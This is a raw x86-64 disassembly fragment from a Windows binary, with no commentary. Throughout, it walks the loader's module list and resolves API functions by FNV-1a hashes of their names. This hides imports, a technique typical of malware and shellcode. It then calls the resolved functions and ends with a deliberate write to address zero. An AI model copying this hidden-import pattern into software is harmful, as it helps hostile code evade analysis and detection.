mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140163ead
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov edx, r15d
jmp 0x140163e2c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140163e21
cmp edx, dword [rsp + 0x70]
je 0x140163e42
test ebx, ebx
jne 0x140163e0f
jmp 0x140163ead
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r11
jbe 0x140163ec2
lea rcx, [r11 + rax]
cmp rbx, rcx
jae 0x140163ec2
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x70], ecx
jmp 0x140163e83
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140163e75
add rbx, r12
mov al, byte [rbx]
test al, al
je 0x140163eaa
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x140163e92
mov dword [rsp + 0x70], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140163ebf
cmp qword [r8 + 0x30], r13
jne 0x140163d91
mov rbx, r13
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x140164038
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140163f4b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140163f3e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140163f2f
cmp edx, edi
jne 0x14016401c
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14016401c
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14016401c
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov edx, r15d
jmp 0x140163f9b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140163f90
cmp edx, dword [rsp + 0x74]
je 0x140163fb1
test ebx, ebx
jne 0x140163f7e
jmp 0x14016401c
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x140164031
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140164031
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x74], ecx
jmp 0x140163ff2
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140163fe4
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x140164019
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140164001
mov dword [rsp + 0x74], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14016402e
cmp qword [r8 + 0x30], r13
jne 0x140163f00
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x14016419e
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x1401640b1
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x1401640a4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140164095
cmp edx, edi
jne 0x140164182
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140164182
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140164182
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r14]
add r10, r9
mov edx, r15d
jmp 0x140164101
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x1401640f6
cmp edx, dword [rsp + 0x78]
je 0x140164117
test ebx, ebx
jne 0x1401640e4
jmp 0x140164182
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x140164197
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x140164197
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x78], ecx
jmp 0x140164158
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14016414a
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x14016417f
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140164167
mov dword [rsp + 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140164194
cmp qword [r8 + 0x30], r13
jne 0x140164066
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x140164304
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140164217
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x14016420a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1401641fb
cmp edx, edi
jne 0x1401642e8
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401642e8
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401642e8
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r14]
add r10, r9
mov edx, r15d
jmp 0x140164267
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x14016425c
cmp edx, dword [rsp + 0x7c]
je 0x14016427d
test ebx, ebx
jne 0x14016424a
jmp 0x1401642e8
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x1401642fd
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1401642fd
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x7c], ecx
jmp 0x1401642be
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401642b0
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x1401642e5
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401642cd
mov dword [rsp + 0x7c], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x1401642fa
cmp qword [r8 + 0x30], r13
jne 0x1401641cc
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x140164467
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x14016437a
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x14016436d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14016435e
cmp edx, edi
jne 0x14016444b
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14016444b
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14016444b
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r10 + rbx*4]
mov r9d, dword [rdx + r14]
add r9, r10
mov edx, r15d
jmp 0x1401643ca
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
add r9, r12
test cl, cl
jne 0x1401643bf
cmp edx, dword [rbp - 0x80]
je 0x1401643df
test ebx, ebx
jne 0x1401643ad
jmp 0x14016444b
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140164460
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x140164460
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x80], ecx
jmp 0x14016441f
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x140164411
add r9, r12
mov al, byte [r9]
test al, al
je 0x140164448
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x140164430
mov dword [rbp - 0x80], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14016445d
cmp qword [r8 + 0x30], r13
jne 0x14016432f
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x1401644d6
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
cmp rcx, r9
je 0x1401644be
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1401644a2
cmp edx, 0x610c0de3
je 0x140164525
mov r8, qword [r8]
cmp r8, r10
je 0x1401644cc
cmp qword [r8 + 0x30], r13
jne 0x14016448a
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
mov r10d, r13d
mov r11d, dword [r9 + r8 + 0x20]
mov eax, r10d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, r15d
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x140164520
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x140164504
cmp ecx, 0xe463da3c
je 0x14016452b
add r10d, r12d
jmp 0x1401644ea
mov r8, qword [r8 + 0x30]
jmp 0x1401644cf
mov edx, dword [r9 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + r8 + 0x24]
add rcx, r8
mov eax, r10d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r14, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x1401646c5
mov edi, r13d
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r8, qword [rcx]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x1401645c4
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x1401645b7
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1401645a8
cmp edx, edi
jne 0x1401646a3
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401646a3
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401646a3
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x140164616
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x14016460b
cmp edx, dword [rbp - 0x7c]
je 0x140164631
test ebx, ebx
jne 0x1401645f7
mov r15d, 0x811c9dc5
jmp 0x1401646a3
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401646b8
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401646b8
mov r15d, 0x811c9dc5
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x7c], ecx
jmp 0x140164677
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x140164669
add r10, r12
mov al, byte [r10]
test al, al
je 0x1401646a0
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x140164688
mov dword [rbp - 0x7c], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x1401646b5
cmp qword [r8 + 0x30], r13
jne 0x140164579
mov r10, r13
mov qword [0x1404fba00], r10
mov r15d, 0x811c9dc5
lea r9, [rbp + 0x1198]
mov r8d, r12d
mov edx, 0x5000
mov rcx, r14
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14016484a
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x14016474f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140164742
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140164733
cmp edx, edi
jne 0x14016482e
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14016482e
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14016482e
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x1401647a1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140164796
cmp edx, dword [rbp - 0x78]
je 0x1401647bc
test ebx, ebx
jne 0x140164782
mov r15d, 0x811c9dc5
jmp 0x14016482e
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r11
jbe 0x140164843
lea rcx, [rax + r11]
cmp r8, rcx
jae 0x140164843
mov r15d, 0x811c9dc5
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x78], ecx
jmp 0x140164802
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r8, r12
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401647f4
add r8, r12
mov al, byte [r8]
test al, al
je 0x14016482b
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r8, r12
mov al, byte [r8]
test al, al
jne 0x140164813
mov dword [rbp - 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140164840
cmp qword [r8 + 0x30], r13
jne 0x140164704
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r14
call r8
mov qword [0], 0x99
mov rax, qword [rbp + 0x50]
movabs rcx, 0xff00ff00ff00ff07
xor rax, rcx
lea rcx, [rbp + 0x4228]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x41f0]
xor rcx, rsp
call fcn.14020f960
lea r11, [rsp + 0x4300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret